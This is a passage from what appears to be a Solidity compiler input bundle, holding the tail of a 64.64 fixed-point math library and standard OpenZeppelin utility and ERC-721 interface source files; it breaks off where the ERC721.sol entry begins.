ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
